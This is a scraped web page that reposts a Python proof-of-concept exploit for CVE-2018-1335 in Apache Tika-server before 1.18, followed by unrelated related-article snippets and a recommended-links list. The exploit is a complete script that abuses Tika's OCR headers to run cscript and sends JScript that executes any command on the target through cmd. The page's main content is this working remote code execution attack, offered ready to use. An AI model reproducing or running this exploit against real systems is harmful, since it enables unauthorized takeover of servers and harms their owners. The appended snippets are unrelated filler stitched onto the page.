[EXP]Apache Tika-server < 1.18 - Command Injection
######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server. #
#Versions Affected: Tika-server versions < 1.18 #
#Researcher: David Yesland Twitter: @Daveysec #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ # #
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335 #
###################################################################################################### import sys
import requests if len(sys.argv) < 4:
print "Usage: python CVE-2018-1335.py <host> <port> <command>"
print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3] url = host+":"+str(port)+"/meta" headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
"X-Tika-OCRLanguage": "//E:Jscript",
"Expect": "100-continue",
"Content-type": "image/jp2",
"Connection": "close"} jscript='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c {}');
'''.format(cmd) try:
requests.put("https://"+url, headers=headers, data=jscript, verify=False) except:
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"
[EXP]Apache Tika-server < 1.18 - Command Injection的更多相关文章
- 【apache tika】apache tika获取文件内容(与FileUtils的对比)
Tika支持多种功能: 文档类型检测 内容提取 元数据提取 语言检测 重要特点: 统一解析器接口:Tika封装在一个单一的解析器接口的第三方解析器库.由于这个特征,用户逸出从选择合适的解析器库的负担, ...
- What is the difference Apache (Http Server) and Tomcat (Servlet Container)
The Apache Project The Apache Project is a collaborative software development effort. Its goal is to ...
- CentOS7安装配置Apache HTTP Server
RPM安装httpd 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # yum -yinstall http ...
- 1.6.3 Uploading Data with Solr Cell using Apache Tika
1. Uploading Data with Solr Cell using Apache Tika solr使用Apache Tika工程的代码提供了一个框架,用于合并所有不同格式的文件解析器为so ...
- apache http server 多线程模式
一般apache采用prefork和worker机制,通过apachectl -l命令查看默认使用的prefork机制.需要修改prefork策略 那么需要做如下修改: 1,/usr/local/ap ...
- CentOS 7安装配置Apache HTTP Server
原文 CentOS 7安装配置Apache HTTP Server RPM安装httpd # yum -yinstall httpd //安装httpd会自动安装一下依赖包: apr apr-ut ...
- Apache Httpd Server 2.2升级2.4
Apache Httpd Server 2.2升级2.4 (2 votes, average: 5.00 out of 5) 2,302 views 2012 年 3 月 20 日Web服务器.服务器 ...
- Django部署到Apache Web Server
Windows环境下,将Django部署到Apache Web Server 在Windows上部署Django(用mod_wsgi)会出现各种奇怪的问题,现简单记录下配置过程及遇到的错误及解决方法. ...
- 转:Fuzzing Apache httpd server with American Fuzzy Lop + persistent mode
Fuzzing Apache httpd server with American Fuzzy Lop + persistent mode 小结:AFL主要以文件作为输入进行fuzz,本文介绍如何对网 ...
随机推荐
- web服务,下载https链接的文件,提示javax.net.ssl.SSLKeyException: RSA premaster secret error
问题: 在服务器上,下载https的链接文件,报错javax.net.ssl.SSLKeyException: RSA premaster secret error 在本地运行的时候没报错,但是在 ...
- Curator场景应用
分布式锁功能: 在分布式场景中,我们为了保证数据的一致性,经常在程序运行的某一个点,需要进行同步操作,(java提供synchronized或者Reentrantlock实现), 使用curator基 ...
- python的魔术方法
什么叫魔术方法: 在python中定义以双下划线开头,有一些python自定义的函数,并且以双下划线为结尾的函数叫做魔法函数 class Company(object): def __init__(s ...
- Spring中,applicationContext.xml 配置文件在web.xml中的配置详解
一.首先写一下代码结构. 二.再看web.xml中的配置情况. <?xml version="1.0" encoding="UTF-8"?> < ...
- Admin注册和路由分发详解
Admin注册和路由分发详解 1.启动 #autodiscover_modules('admin', register_to=site) 2.注册 1.单例对象 admin.site = AdminS ...
- 最短路径(SP)问题相关算法与模板
相关概念: 有向图.无向图:有向图的边是双行道,无向图的边是单行道.在处理无向图时,可以把一条无向边看做方向相反的两条有向边. 圈 cycle / 回路 circuit:在相同顶点上开始并结束且长度大 ...
- PYthon第十二天
1. 生成器 生成器的本质是迭代器, 最简单的生成器函数如下: def foo(x): 1-4行定义了一个简单的生成器函数 yield x+1 yield 和 return 不同, return 结束 ...
- linux 查看信息-系统&资源
系统 1.查看内核/操作系统/CPU信息 2.查看操作系统版本 3.查看CPU信息 4.查看计算机名 5.列出所有PCI设备 6.列出所有的USB设备 7.列出加载的内核模块 8.查看环境变量 资源 ...
- Elasticsearch下安装ik分词器
安装ik分词器(必须安装maven) 上传相应jar包 解压到相应目录 unzip elasticsearch-analysis-ik-master.zip(zip包) cp -r elasticse ...
- # 2019-2020-3 《Java 程序设计》实验一:Java开发环境的熟悉
2019-2020-3 <Java 程序设计>实验一:Java开发环境的熟悉-------1 一.实验要求: 1 建立"自己学号exp1"的目录 2 在"自己 ...